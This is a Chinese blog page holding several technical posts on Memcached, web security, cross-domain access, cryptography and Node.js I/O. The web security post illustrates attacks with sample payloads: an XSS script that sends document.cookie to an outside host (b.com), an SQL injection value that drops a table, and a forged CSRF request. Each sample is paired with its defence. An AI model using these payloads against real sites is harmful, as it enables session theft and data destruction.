不急不徐,持之以恒。

          http://blog.gopersist.com/

            BlogJava :: 首頁(yè) :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理 ::
            24 隨筆 :: 0 文章 :: 52 評(píng)論 :: 0 Trackbacks

          2014年9月24日 #

          互聯(lián)網(wǎng)上的應(yīng)用、網(wǎng)站,隨著用戶的增長(zhǎng),功能的增強(qiáng),會(huì)導(dǎo)致服務(wù)器超載,響應(yīng)變慢等問(wèn)題。緩存技術(shù)是減輕服務(wù)器壓力、加快服務(wù)響應(yīng)時(shí)間、提升用戶體驗(yàn)的有效途徑。Memcached是非常流行的緩存系統(tǒng),這里介紹對(duì)Memcached的安裝、設(shè)定,以及在集群環(huán)境下的使用。

          Memcached簡(jiǎn)介

          Memcached是一個(gè)開(kāi)源、高性能、分布式的內(nèi)存緩存系統(tǒng),用于加速動(dòng)態(tài)網(wǎng)站的訪問(wèn),減輕數(shù)據(jù)庫(kù)負(fù)載。

          Memcached使用了Slab Allocator的機(jī)制分配、管理內(nèi)存,解決了內(nèi)存碎片的問(wèn)題。

          Memcached雖然可以在多線程模式下運(yùn)行,但線程數(shù)通常只需設(shè)定為與CPU數(shù)量相同,這一點(diǎn)與Nginx的設(shè)定類似。

          Memcached使用

          安裝:

          在CentOS下使用下面的命令安裝:

          sudo yum install memcached 

          啟動(dòng):

          memcached -m 100 -p 11211 -d -t 2 -c 1024 -P /tmp/memcached.pid 

          -m 指定使用的內(nèi)存容量,單位MB,默認(rèn)64MB。

          -p 指定監(jiān)聽(tīng)的TCP端口,默認(rèn)11211。

          -d 以守護(hù)進(jìn)程模式啟動(dòng)。

          -t 指定線程數(shù),默認(rèn)為4。

          -c 最大客戶端連接數(shù),默認(rèn)為1024。

          -P 保存PID文件。

          關(guān)閉:

          kill `cat /tmp/memcached.pid` 

          測(cè)試:

          使用telnet連接memcached服務(wù)。

          telnet localhost 11211 

          存儲(chǔ)命令格式:

          set foo 0 0 4 abcd STORED  <command name> <key> <flags> <exptime> <bytes> <data block>  <command name> set, add, replace等 <key> 關(guān)鍵字 <flags> 整形參數(shù),存儲(chǔ)客戶端對(duì)鍵值的額外信息,如值是壓縮的,是字符串,或JSON等 <exptime> 數(shù)據(jù)的存活時(shí)間,單位為秒,0表示永遠(yuǎn) <bytes> 存儲(chǔ)值的字節(jié)數(shù) <data block> 存儲(chǔ)的數(shù)據(jù)內(nèi)容 

          讀取命令格式:

          get foo VALUE foo 0 4 abcd END  <command name> <key>  <command name> get, gets。gets比get多返回一個(gè)數(shù)字,這個(gè)數(shù)字檢查數(shù)據(jù)有沒(méi)有發(fā)生變化,當(dāng)key對(duì)應(yīng)的數(shù)據(jù)改變時(shí),gets多返回的數(shù)字也會(huì)改變。 <key> 關(guān)鍵字  返回的數(shù)據(jù)格式:  VALUE <key> <flags> <bytes> 

          CAS(checked and set):

          cas foo 0 0 4 1 cdef STORED  cas <key> <flags> <exptime> <bytes> <version>  除最后的<version>外,其他參數(shù)與set, add等命令相同,<version>的值需要與gets獲取的值相同,否則無(wú)法更新。 incr, decr可對(duì)數(shù)字型數(shù)據(jù)進(jìn)行原子增減操作。 

          全局統(tǒng)計(jì)信息

          stats STAT pid 10218 STAT time 1432611519 STAT curr_connections 6 STAT total_connections 9 STAT connection_structures 7 STAT reserved_fds 10 STAT cmd_get 5 STAT cmd_set 1 STAT cmd_flush 0 STAT cmd_touch 0 STAT get_hits 3 STAT get_misses 2 STAT delete_misses 0 STAT delete_hits 0 ... END 

          Memcached集群

          Memcached本身不做任何容錯(cuò)處理,對(duì)故障節(jié)點(diǎn)的處理方式完全取決于客戶端。對(duì)Memcached的客戶端來(lái)說(shuō),不能使用普通的哈希算法(哈希取模)來(lái)尋找目標(biāo)Server,因?yàn)檫@樣在有緩存節(jié)點(diǎn)失效時(shí),會(huì)導(dǎo)致大面積緩存數(shù)據(jù)不可用。如下圖:

          當(dāng)Server3失效后,客戶端需要根據(jù)可用Server數(shù)量重新計(jì)算緩存的目標(biāo)Server,這時(shí),Key的哈希值為10的數(shù)據(jù)被指定為由Server1維護(hù),這時(shí)原本Server2上可用的緩存也無(wú)效了。

          一致性哈希算法

          一致性哈希算法解決了在動(dòng)態(tài)變化的緩存環(huán)境中,定位目標(biāo)Server的問(wèn)題,通常的實(shí)現(xiàn)可將它想像成一個(gè)閉合的環(huán)形。如下圖:

          當(dāng)有節(jié)點(diǎn)失效時(shí),不會(huì)影響到正常工作的緩存服務(wù)器,只有原本分配到失效節(jié)點(diǎn)的緩存會(huì)被重新分配到下一個(gè)節(jié)點(diǎn)。如下圖:

          微信訂閱號(hào):
          原文地址:http://blog.gopersist.com/2015/05/28/memcached/

          posted @ 2015-05-31 17:18 老林 閱讀(1579) | 評(píng)論 (2)編輯 收藏

          對(duì)于一個(gè)Web應(yīng)用來(lái)說(shuō),可能會(huì)面臨很多不同的攻擊。下面的內(nèi)容將介紹一些常見(jiàn)的攻擊方法,以及面對(duì)這些攻擊的防御手段。

          一、跨站腳本攻擊(XSS)

          跨站腳本攻擊的英文全稱是Cross Site Script,為了和樣式表區(qū)分,縮寫為XSS。發(fā)生的原因是網(wǎng)站將用戶輸入的內(nèi)容輸出到頁(yè)面上,在這個(gè)過(guò)程中可能有惡意代碼被瀏覽器執(zhí)行。

          跨站腳本攻擊可以分為兩種:

          1). 反射型XSS

          它是通過(guò)誘使用戶打開(kāi)一個(gè)惡意鏈接,服務(wù)端將鏈接中參數(shù)的惡意代碼渲染到頁(yè)面中,再傳遞給用戶由瀏覽器執(zhí)行,從而達(dá)到攻擊的目的。如下面的鏈接:

          http://a.com/a.jsp?name=xss<script>alert(1)</script> 

          a.jsp將頁(yè)面渲染成下面的html:

          Hello xss<script>alert(1)</script> 

          這時(shí)瀏覽器將會(huì)彈出提示框。

          2). 持久型XSS

          持久型XSS將惡意代碼提交給服務(wù)器,并且存儲(chǔ)在服務(wù)器端,當(dāng)用戶訪問(wèn)相關(guān)內(nèi)容時(shí)再渲染到頁(yè)面中,以達(dá)到攻擊的目的,它的危害更大。

          比如,攻擊者寫了一篇帶惡意JS代碼的博客,文章發(fā)表后,所有訪問(wèn)該博客文章的用戶都會(huì)執(zhí)行這段惡意JS。

          Cookie劫持

          Cookie中一般保存了當(dāng)前用戶的登錄憑證,如果可以得到,往往意味著可直接進(jìn)入用戶帳戶,而Cookie劫持也是最常見(jiàn)的XSS攻擊。以上面提過(guò)的反射型XSS的例子來(lái)說(shuō),可以像下面這樣操作:

          首先誘使用戶打開(kāi)下面的鏈接:

          http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script> 

          用戶打開(kāi)鏈接后,會(huì)加載b.js,并執(zhí)行b.js中的代碼。b.js中存儲(chǔ)了以下JS代碼:

          var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img); 

          上面的代碼會(huì)向b.com請(qǐng)求一張圖片,但實(shí)際上是將當(dāng)前頁(yè)面的cookie發(fā)到了b.com的服務(wù)器上。這樣就完成了竊取cookie的過(guò)程。

          防御Cookie劫持的一個(gè)簡(jiǎn)單的方法是在Set-Cookie時(shí)加上HttpOnly標(biāo)識(shí),瀏覽器禁止JavaScript訪問(wèn)帶HttpOnly屬性的Cookie。

          XSS的防御

          1). 輸入檢查

          對(duì)輸入數(shù)據(jù)做檢查,比如用戶名只允許是字母和數(shù)字,郵箱必須是指定格式。一定要在后臺(tái)做檢查,否則數(shù)據(jù)可能繞過(guò)前端檢查直接發(fā)給服務(wù)器。一般前后端都做檢查,這樣前端可以擋掉大部分無(wú)效數(shù)據(jù)。

          對(duì)特殊字符做編碼或過(guò)濾,但因?yàn)椴恢垒敵鰰r(shí)的語(yǔ)境,所以可能會(huì)做不適當(dāng)?shù)倪^(guò)濾,最好是在輸出時(shí)具體情況具體處理。

          2). 輸出檢查

          對(duì)渲染到HTML中內(nèi)容執(zhí)行HtmlEncode,對(duì)渲染到JavaScript中的內(nèi)容執(zhí)行JavascriptEncode。

          另外還可以使用一些做XSS檢查的開(kāi)源項(xiàng)目。

          二、SQL注入

          SQL注入常常會(huì)聽(tīng)到,它與XSS類似,是由于用戶提交的數(shù)據(jù)被當(dāng)成命令來(lái)執(zhí)行而造成的。下面是一個(gè)SQL注入的例子:

          String sql = "select * from user where username = '" + username + "'"; 

          像上面的SQL語(yǔ)句,如果用戶提交的username參數(shù)是leo,則數(shù)據(jù)庫(kù)執(zhí)行的SQL為:

          select * from user where username = 'leo' 

          但如果用戶提交的username參數(shù)是leo’; drop table user–,那執(zhí)行的SQL為:

          select * from user where username = 'leo'; drop table user--' 

          在查詢數(shù)據(jù)后,又執(zhí)行了一個(gè)刪除表的操作,這樣的后果非常嚴(yán)重。

          SQL注入的防御

          防止SQL注入最好的方法是使用預(yù)編譯語(yǔ)句,如下面所示:

          String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery(); 

          不同語(yǔ)言的預(yù)編譯方法不同,但基本都可以處理。

          如果遇到無(wú)法使用預(yù)編譯方法時(shí),只能像防止XSS那樣對(duì)參數(shù)進(jìn)行檢查和編碼。

          三、跨站請(qǐng)求偽造(CSRF)

          跨站請(qǐng)求偽造的英文全稱是Cross Site Request Forgery,是由于操作所需的所有參數(shù)都能被攻擊者得到,進(jìn)而構(gòu)造出一個(gè)偽造的請(qǐng)求,在用戶不知情的情況下被執(zhí)行??聪旅嬉粋€(gè)例子:

          如果a.com網(wǎng)站需要用戶登錄后可以刪除博客,刪除博客的請(qǐng)求地址如下:

          GET http://a.com/blog/delete?id=1 

          當(dāng)用戶登錄a.com后,又打開(kāi)了http://b.com/b.html,其中有下面的內(nèi)容:

          <img src="http://a.com/blog/delete?id=1"/> 

          這時(shí)會(huì)以用戶在a.com的身份發(fā)送http://a.com/blog/delete?id=1,刪除那篇博客。

          CSRF的防御

          1. 驗(yàn)證碼

          CSRF是在用戶不知情的情況下構(gòu)造的網(wǎng)絡(luò)情況,驗(yàn)證碼則強(qiáng)制用戶與應(yīng)用交互,所以驗(yàn)證碼可以很好得防止CSRF。但不能什么請(qǐng)求都加驗(yàn)證碼。

          1. referer檢查

          檢查請(qǐng)求header中的referer也能幫助防止CSRF攻擊,但服務(wù)器不是總能拿到referer,瀏覽器可能出于安全或隱私而不發(fā)送referer,所以也不常用。倒是圖片防盜鏈中用得很多。

          1. Anti CSRF Token

          更多的是生成一個(gè)隨機(jī)的token,在用戶提交數(shù)據(jù)的同時(shí)提交這個(gè)token,服務(wù)器端比對(duì)后如果不正確,則拒絕執(zhí)行操作。

          四、點(diǎn)擊劫持(ClickJacking)

          點(diǎn)擊劫持是從視覺(jué)上欺騙用戶。攻擊者使用一個(gè)透明的iframe覆蓋在一個(gè)網(wǎng)頁(yè)上,誘使用戶在該網(wǎng)頁(yè)上操作,而實(shí)際點(diǎn)擊卻是點(diǎn)在透明的iframe頁(yè)面。

          點(diǎn)擊劫持延伸出了很多攻擊方式,有圖片覆蓋攻擊、拖拽劫持等。

          點(diǎn)擊劫持的防御

          針對(duì)iframe的攻擊,可使用一個(gè)HTTP頭:X-Frame-Options,它有三種可選值:

          • DENY: 禁止任何頁(yè)面的frame加載;
          • SAMEORIGIN:只有同源頁(yè)面的frame可加載;
          • ALLOW-FROM:可定義允許frame加載的頁(yè)面地址。

          針對(duì)圖片覆蓋攻擊,則注意使用預(yù)防XSS的方法,防止HTML和JS注入。

          微信訂閱號(hào):
          原文地址:http://blog.gopersist.com/2015/04/25/web-security-4/

          posted @ 2015-04-25 15:40 老林 閱讀(6292) | 評(píng)論 (2)編輯 收藏

          一、瀏覽器介紹

          對(duì)于Web應(yīng)用來(lái)說(shuō),瀏覽器是最重要的客戶端。

          目前瀏覽器五花八門多得不得了,除了Chrome、IE、Firefox、Safari、Opera這些國(guó)外的瀏覽器外,百度、騰訊、360、淘寶、搜狗、傲游之類的,反正能做的都做了。

          瀏覽器雖然這么多,但瀏覽器內(nèi)核主要就以下4種:

          1. Trident:IE使用的內(nèi)核。
          2. Gecko:Firefox使用的內(nèi)核。
          3. WebKit:Safair和Chrome使用的內(nèi)核。WebKit由蘋果發(fā)明,Chrome也用了,但是Google又開(kāi)發(fā)了V8引擎替換掉了WebKit中的Javascript引擎。
          4. Presto:Opera使用的內(nèi)核。

          國(guó)內(nèi)的瀏覽器基本都是雙核瀏覽器,使用基于WebKit的內(nèi)核高速瀏覽常用網(wǎng)站,使用Trident內(nèi)核兼容網(wǎng)銀等網(wǎng)站。

          二、同源策略

          同源策略是瀏覽器最基本的安全策略,它認(rèn)為任何站點(diǎn)的內(nèi)容都是不安全的,所以當(dāng)腳本運(yùn)行時(shí),只被允許訪問(wèn)來(lái)自同一站點(diǎn)的資源。

          同源是指域名、協(xié)議、端口都相同。

          如果沒(méi)有同源策略,就會(huì)發(fā)生下面這樣的問(wèn)題:

          惡意網(wǎng)站用一個(gè)iframe把真實(shí)的銀行登錄頁(yè)放到他的頁(yè)面上,當(dāng)用戶使用用戶名密碼登錄時(shí),父頁(yè)面的javascript就可以讀取到銀行登錄頁(yè)表單中的內(nèi)容。

          甚至瀏覽器的1個(gè)Tab頁(yè)打開(kāi)了惡意網(wǎng)站,另一個(gè)Tab頁(yè)打開(kāi)了銀行網(wǎng)站,惡意網(wǎng)站中的javascript可以讀取到銀行網(wǎng)站的內(nèi)容。這樣銀行卡和密碼就能被輕易拿走。

          三、跨域訪問(wèn)

          由于同源策略的原因,瀏覽器對(duì)跨域訪問(wèn)做了很多限制,但有時(shí)我們的確需要做跨域訪問(wèn),那要怎么辦?主要有以下幾種情況:

          1. iframe的跨域訪問(wèn)

          同域名下,父頁(yè)面可以通過(guò)document.getElementById(‘_iframe’).contentWindow.document訪問(wèn)子頁(yè)面的內(nèi)容,但不同域名下會(huì)出現(xiàn)類似下面的錯(cuò)誤:

          Uncaught SecurityError: Blocked a frame with origin “http://a.com” from accessing a frame with origin “http://b.com”. Protocols, domains, and ports must match.

          有兩種解決方法:

          1). 當(dāng)主域名相同,子域名不同時(shí),比較容易解決,只需設(shè)置相同的document.domain即可。

          如http://a.a.com/a.html使用iframe載入http://b.a.com/b.html,且在a.html中有Javascript要修改b.html中元素的內(nèi)容時(shí),可以像下面的代碼那樣操作。

          a.html

          <html>
          <head>
          <script>
          document.domain = 'a.com';
          function changeIframeContent() {
          var _iframe = document.getElementById('_iframe');
          var _p = _iframe.contentWindow.document.getElementById('_p');
          _p.innerHTML = 'Content from a.html';
          }
          </script>
          </head>
          <body>
          <iframe id="_iframe" src="http://b.a.com/demo/iframe/subdomain/b.html"></iframe>
          <br>
          <input type="button" value="Change iframe content" onclick="changeIframeContent();"/>
          </body>
          </html>

          b.html

          <html>
          <head>
          <script>
          document.domain = 'a.com';
          </script>
          </head>
          <body>
          <p id="_p">b.html</p>
          </body>
          </html>

          2). 當(dāng)主域名不同時(shí),就非常麻煩了。大致的方法像下面描述的那樣:

          • a.com下有a.html;
          • a.html創(chuàng)建iframe加載b.com下的b.html,可在加載b.html時(shí)通過(guò)?或#將參數(shù)傳遞到b.html中;
          • b.html加載后,可以通過(guò)提取location.search或location.hash中的內(nèi)容獲取a.html傳過(guò)來(lái)的參數(shù);
          • b.html創(chuàng)建一個(gè)iframe,加載a.com下的c.html,并且參數(shù)也通過(guò)?或#傳給c.html;
          • 因?yàn)閏.html和a.html是相同域名,所以c.html可以使用parent.parent訪問(wèn)到a.html的對(duì)象,這樣也就可以將b.html需要傳遞的參數(shù)傳回到a.html中。

          2. Ajax的跨域訪問(wèn)

          Ajax主要通過(guò)XMLHttpRequest對(duì)象實(shí)現(xiàn),但是如果通過(guò)XMLHttpRequest訪問(wèn)不同域名下的數(shù)據(jù),瀏覽器會(huì)出現(xiàn)類似下面的錯(cuò)誤:

          XMLHttpRequest cannot load http://b.com/demo/iframe/ajax/b.html. No ‘Access-Control-Allow-Origin’ header is present on the requested resource. Origin ‘http://a.com’ is therefore not allowed access.

          這時(shí)可由以下兩種方法解決:

          1). 使用<script>代替XMLHttpRequest,也就是JSONP的方法。利用<script>標(biāo)簽的src下加載的js不受同源策略限制,并且加載后的js運(yùn)行在當(dāng)前頁(yè)面的域下,所以可自由操作當(dāng)前頁(yè)面的內(nèi)容。

          下面的代碼演示了在a.com下的a.html通過(guò)b.com下的b.js中的內(nèi)容來(lái)更新自身的p標(biāo)簽。

          a.html

          <html>
          <head>
          <script>
          function update_p (content) {
          document.getElementById("_p").innerHTML = content;
          }
          function getFromB() {
          var _script = document.createElement("script");
          _script.type = "text/javascript";
          _script.src = "http://b.com/demo/ajax/b.js";
          document.getElementsByTagName("head")[0].appendChild(_script);
          }
          </script>
          </head>
          <body>
          <p id="_p">a.html</p>
          <input type="button" value="Get from b.com" onclick="getFromB()"/>
          </body>
          </html>

          b.js

          update_p("content from b.js"); 

          在實(shí)際使用中,通常a.html會(huì)將update_p以callback參數(shù)名傳遞給b.com的服務(wù)器,服務(wù)器動(dòng)態(tài)生成數(shù)據(jù)后,再用callback參數(shù)值包起來(lái)作為響應(yīng)回傳給a.html。

          2). 在b.com的服務(wù)器返回信息中增加以下頭信息:

          • Access-Control-Allow-Origin: http://a.com
          • Access-Control-Allow-Methods: GET

          此時(shí)瀏覽器便允許a.com讀取使用GET請(qǐng)求b.com的內(nèi)容。

          對(duì)于flash來(lái)說(shuō),會(huì)要求在網(wǎng)站根目錄下放一個(gè)名為crossdomain.xml的文件,以指明允許訪問(wèn)的域名來(lái)源。文件中的內(nèi)容類似下面的樣子:

          <cross-domain-policy>
          <allow-access-from domain="*.a.com" />
          </cross-domain-policy>

          3. 使用HTML5的postMessage方法實(shí)現(xiàn)跨域訪問(wèn)

          HTML5增加了跨文檔消息傳輸,下面的例子實(shí)現(xiàn)了使用postMessage在不同域間傳遞消息:

          a.html

          <html>
          <head>
          <script>
          function update_b () {
          var _iframe = document.getElementById("_iframe");
          _iframe.contentWindow.postMessage("content from a.html", "http://b.com");
          }
          </script>
          <head>
          <body>
          <iframe id="_iframe" src="http://b.com/demo/html5/b.html"></iframe>
          <br>
          <input type="button" value="Update b.html" onclick="update_b()"></input>
          </body>
          </html>

          b.html

          <html>
          <head>
          <script>
          window.addEventListener("message", function (event) {
          document.getElementById("_p").innerHTML = event.data;
          }, false);
          </script>
          </head>
          <body>
          <p id="_p">b.html</p>
          </body>
          </html>

          在postMessage中要指定接收方的域名,如果發(fā)現(xiàn)目標(biāo)頁(yè)面的域名不正確,將拋出類似下面這樣的錯(cuò)誤:

          Failed to execute ‘postMessage’ on ‘DOMWindow’: The target origin provided (‘http://c.com’) does not match the recipient window’s origin (‘http://b.com’).

          瀏覽器對(duì)跨域訪問(wèn)的限制是出于安全考慮的,所以在使用一些方法實(shí)現(xiàn)跨域訪問(wèn)時(shí)要特別小心。

          微信訂閱號(hào):
          源文地址:http://blog.gopersist.com/2015/04/22/web-security-3/

          posted @ 2015-04-22 00:15 老林 閱讀(32135) | 評(píng)論 (6)編輯 收藏

          一、安全的要素

          信息安全的核心問(wèn)題是要保障數(shù)據(jù)的合法使用者能夠在任何需要該數(shù)據(jù)時(shí)獲得保密的,沒(méi)有被非法更改過(guò)的數(shù)據(jù)。主要有以下幾要素:

          機(jī)密性

          • 保證數(shù)據(jù)內(nèi)容不能泄露。
          • 用戶的密碼用明文保存,就破壞了機(jī)密性。

          完整性

          • 保證數(shù)據(jù)內(nèi)容不被篡改。
          • 使用HTTP提交數(shù)據(jù)時(shí),數(shù)據(jù)在傳輸過(guò)程中被篡改后再發(fā)往服務(wù)器,就破壞了完整性。

          可用性

          • 保證數(shù)據(jù)可被正常訪問(wèn)和使用。
          • 像拒絕服務(wù)攻擊(DoS)就是破壞了可用性。

          最基本的安全要素就上面三個(gè),下面還有一些其他的。

          可審計(jì)性

          • 記錄對(duì)數(shù)據(jù)產(chǎn)生的操作,用于日后的分析、審查。

          不可抵賴性

          • 首先要保證數(shù)據(jù)完整性,然后,在傳輸?shù)臄?shù)據(jù)中必須攜帶用于身份識(shí)別的信息,且這部分信息在不同主體間不能發(fā)生碰撞。

          加密技術(shù)的使用

          上一篇《Web安全技術(shù)(1)-對(duì)加密機(jī)制的理解》中提到了三類加密算法,可以應(yīng)用于某些要素的安全保障。如下面的說(shuō)明:

          對(duì)稱加密

          • 可保障機(jī)密性,對(duì)數(shù)據(jù)加密后存儲(chǔ),可以使沒(méi)有密鑰的人員無(wú)法獲取數(shù)據(jù)內(nèi)容。

          非對(duì)稱加密

          • 可以對(duì)數(shù)據(jù)進(jìn)行加密解密操作,所以也能像對(duì)稱加密一樣保障機(jī)密性;
          • 因?yàn)榉菍?duì)稱加密可以實(shí)現(xiàn)數(shù)字簽名,所以可以保證數(shù)據(jù)完整性。另外,由于是使用私鑰簽名,而私鑰只有數(shù)據(jù)發(fā)送方才有,所以如果公鑰可以驗(yàn)簽成功,則發(fā)送方不可抵賴。

          摘要加密

          • 摘要算法可保障數(shù)據(jù)完整性。

          • 在某些網(wǎng)站的軟件下載頁(yè)面里,有時(shí)除了下載地址,旁邊還會(huì)有一個(gè)MD5碼。這個(gè)MD5就是對(duì)下載的軟件做的摘要加密。在下載完成后,在本機(jī)對(duì)下載的軟件做MD5,然后和網(wǎng)站上顯示的MD5做比較,如果相同就表示軟件被成功下載,而且下載過(guò)程中軟件內(nèi)容沒(méi)有被篡改。
          • 在做系統(tǒng)時(shí),我們也經(jīng)常會(huì)對(duì)密碼做摘要加密后再保存,因?yàn)檎用艿囊粋€(gè)特性是不可逆,這樣通過(guò)數(shù)據(jù)庫(kù)中保存的加密后的密碼不可能還原成用戶的真實(shí)密碼。而用戶登錄時(shí),只需將用戶提交的密碼再做摘要加密,然后與數(shù)據(jù)庫(kù)中保存的密碼比較,就能判斷用戶有沒(méi)有輸入正確的密碼。

          二、風(fēng)險(xiǎn)分析

          對(duì)于數(shù)據(jù)可能會(huì)遇到什么威脅,一般是拍腦袋想一想,也可以使用模型幫忙,下面是一個(gè)叫STRIDE的威脅模型:

          如何評(píng)估風(fēng)險(xiǎn)?

          數(shù)據(jù)受到威脅就可能造成損失,但損失有大有小,威脅發(fā)生的概率也有高有低,我們要結(jié)合具體情況來(lái)對(duì)風(fēng)險(xiǎn)做出判斷。有一個(gè)叫DREAD的模型,可以指導(dǎo)我們?nèi)绾闻袛嗤{的風(fēng)險(xiǎn)程度。

          每一個(gè)因素都分高、中、低三個(gè)等級(jí),權(quán)重值分別為3、2、1。

          當(dāng)有一個(gè)威脅時(shí),我們將它在每一個(gè)因素中的權(quán)重值相加,即可得出風(fēng)險(xiǎn)系數(shù)。

          假如我們對(duì)風(fēng)險(xiǎn)系數(shù)范圍的定義如下:

          高危:12~15分,中危:8~11分,低危:5~7分。

          那如果以使用明文保存密碼為例,風(fēng)險(xiǎn)系數(shù)可能像下面這樣計(jì)算:

          風(fēng)險(xiǎn) = D(3) + R(1) + E(1) + A(3) + D(1) = 9分,這就是一個(gè)中危風(fēng)險(xiǎn)。

          后續(xù)對(duì)威脅的處理,應(yīng)當(dāng)根據(jù)風(fēng)險(xiǎn)的大小和修復(fù)的難易程度做出平衡。

          微信訂閱號(hào):
          源文地址:http://blog.gopersist.com/2015/04/17/web-security-2/

          posted @ 2015-04-17 23:47 老林 閱讀(5011) | 評(píng)論 (0)編輯 收藏

          加密算法

          數(shù)據(jù)加密算法有對(duì)稱加密、非對(duì)稱加密和信息摘要三類。

          對(duì)稱加密是使用單個(gè)密鑰對(duì)數(shù)據(jù)進(jìn)行加密和解密。有DES、AES、RC-5等算法。

          非對(duì)稱加密是使用一對(duì)密鑰(公鑰和私鑰)對(duì)數(shù)據(jù)進(jìn)行加密和解密。有RSA、ECC等算法。非對(duì)稱加密大概比對(duì)稱加密慢100倍以上。

          通常的用法如下:

          1. 使用公鑰加密數(shù)據(jù),使用私鑰解密數(shù)據(jù)。
          2. 使用私鑰簽名數(shù)據(jù),使用公鑰驗(yàn)證簽名。

          信息摘要如果也算加密算法的話,它的加密過(guò)程不需要密鑰,并且經(jīng)過(guò)加密的數(shù)據(jù)無(wú)法被解密,它是根據(jù)不定長(zhǎng)的明文計(jì)算得到一段定長(zhǎng)的數(shù)據(jù)。有MD5、SHA1等算法。

          密鑰規(guī)范

          規(guī)范太多,網(wǎng)上講得很亂,挑常用的按我的理解列一下。

          密鑰格式:

          1. X.509:通用的證書(shū)格式,包括公鑰信息、用戶標(biāo)識(shí)、簽發(fā)信息等。
          2. PKCS系統(tǒng)標(biāo)準(zhǔn):美國(guó)RSA數(shù)據(jù)安全公司及其合作伙伴制定的一組公鑰密碼學(xué)標(biāo)準(zhǔn)。其中PKCS#8描述私有密鑰的信息格式,包括私鑰及可選的屬性集等。

          密鑰存儲(chǔ):

          1. DER:二進(jìn)制編碼。
          2. PEM:ASCII編碼。

          加密模式

          塊密碼自身只能加密長(zhǎng)度等于密碼塊長(zhǎng)度的單塊數(shù)據(jù),若要對(duì)變長(zhǎng)數(shù)據(jù)進(jìn)行加密,則必須事先將數(shù)據(jù)進(jìn)行切分,而且最后一個(gè)數(shù)據(jù)塊需要適當(dāng)?shù)奶畛浞绞綌U(kuò)展到密碼塊的長(zhǎng)度。加密模式即塊密碼的工作模式,就是使用這些方式用同一個(gè)密鑰對(duì)多于一塊的數(shù)據(jù)進(jìn)行加密。

          加密模式通常用于對(duì)稱加密,也可以用于非對(duì)稱加密。但非對(duì)稱加密通常不適合加密較長(zhǎng)的信息,所以會(huì)使用混合加密代替。

          ps: 以RSA和DES為例,混合加密通常使用DES先加密明文,再使用RSA的公鑰加密DES的密鑰,再將2個(gè)密文一起傳遞出去。接收方使用RSA的私鑰解密DES的密鑰信息,再使用DES的密鑰解密具體內(nèi)容。

          最簡(jiǎn)單的加密模式是ECB(即電子密碼本)。其他還有CBC、PCBC、CFB等。

          ECB和CBC需要對(duì)最后一塊進(jìn)行填充,填充方法有很多種,最簡(jiǎn)單的是先在明文的最后填充空字符,使明文長(zhǎng)度為密碼塊長(zhǎng)度的整數(shù)倍。

          微信訂閱號(hào):
          源文地址:http://blog.gopersist.com/2015/04/08/crypto/

          posted @ 2015-04-13 21:51 老林 閱讀(4937) | 評(píng)論 (0)編輯 收藏

          Linux操作系統(tǒng)的I/O模型

          JAVA的NIO引入了異步I/O,而Node.js宣稱的就是異步編程,I/O自然是異步的。其實(shí)操作系統(tǒng)在很早就引入了異步I/O的概念,如下圖(摘自Unix網(wǎng)絡(luò)編程中的圖片):

          我對(duì)上圖的理解有幾點(diǎn):

          1. 從IO設(shè)備讀取數(shù)據(jù)到用戶內(nèi)存的整個(gè)過(guò)程都是由系統(tǒng)內(nèi)核來(lái)完成;
          2. 數(shù)據(jù)總是先被拷貝到內(nèi)核緩沖區(qū),再由內(nèi)核緩沖區(qū)拷貝到用戶內(nèi)存;
          3. 除了異步I/O,其余4種I/O模型其實(shí)都是阻塞的,至少在數(shù)據(jù)從內(nèi)核拷貝到用戶內(nèi)存時(shí)是阻塞的;
          4. 雖然異步I/O看上去是理想解決方案,但實(shí)現(xiàn)上現(xiàn)在用得最多的應(yīng)該是多路I/O復(fù)用,有select、poll、epoll的實(shí)現(xiàn),性能最好的是epoll;
          5. 異步I/O現(xiàn)在被認(rèn)為有缺陷,僅支持O_DIRECT而無(wú)法支持系統(tǒng)緩存。

          Node.js中的異步I/O

          因?yàn)閮?nèi)核中的異步I/O有缺陷,現(xiàn)實(shí)中的異步I/O通常由用戶態(tài)的線程池模擬完成,如下圖:

          Node.js中原本使用了libeio異步I/O庫(kù),在v0.9.3后改為自己實(shí)現(xiàn)的線程池來(lái)完成異步I/O。所以在Node.js中,除了用戶的Javascript代碼是單線程外,所有I/O都是多線程并行執(zhí)行的。

          Node.js中的異步I/O調(diào)用

          Node.js通過(guò)事件循環(huán)的模式運(yùn)行,在每一個(gè)循環(huán)的過(guò)程中,通過(guò)詢問(wèn)一個(gè)或多個(gè)觀察者來(lái)判斷是否有事件要處理,而觀察者可以有文件I/O觀察者、網(wǎng)絡(luò)I/O觀察者等。

          Node.js中異步I/O調(diào)用的大致流程如下:

          • 發(fā)起I/O調(diào)用
            1. 用戶通過(guò)Javascript代碼調(diào)用Node核心模塊,將參數(shù)和回調(diào)函數(shù)傳入到核心模塊;
            2. Node核心模塊會(huì)將傳入的參數(shù)和回調(diào)函數(shù)封裝成一個(gè)請(qǐng)求對(duì)象;
            3. 將這個(gè)請(qǐng)求對(duì)象推入到I/O線程池等待執(zhí)行;
            4. Javascript發(fā)起的異步調(diào)用結(jié)束,Javascript線程繼續(xù)執(zhí)行后續(xù)操作。
          • 執(zhí)行回調(diào)
            1. I/O操作完成后,會(huì)將結(jié)果儲(chǔ)存到請(qǐng)求對(duì)象的result屬性上,并發(fā)出操作完成的通知;
            2. 每次事件循環(huán)時(shí)會(huì)檢查是否有完成的I/O操作,如果有就將請(qǐng)求對(duì)象加入到I/O觀察者隊(duì)列中,之后當(dāng)做事件處理;

          • 處理I/O觀察者事件時(shí),會(huì)取出之前封裝在請(qǐng)求對(duì)象中的回調(diào)函數(shù),執(zhí)行這個(gè)回調(diào)函數(shù),并將result當(dāng)參數(shù),以完成Javascript回調(diào)的目的。

            微信訂閱號(hào):
            源文地址:
            http://blog.gopersist.com/2015/03/09/aio/
          posted @ 2015-04-13 21:42 老林 閱讀(3976) | 評(píng)論 (0)編輯 收藏

          我們看看不同NAT之間的NAT打洞。NAT打洞需要Server配合,需要2種Server:
          1. 類似WebRTC中的信令服務(wù)器,作用是幫助客戶機(jī)溝通IP和PORT信息;
          2. STUN Server,用來(lái)讓客戶機(jī)判斷自己所在的NAT環(huán)境。
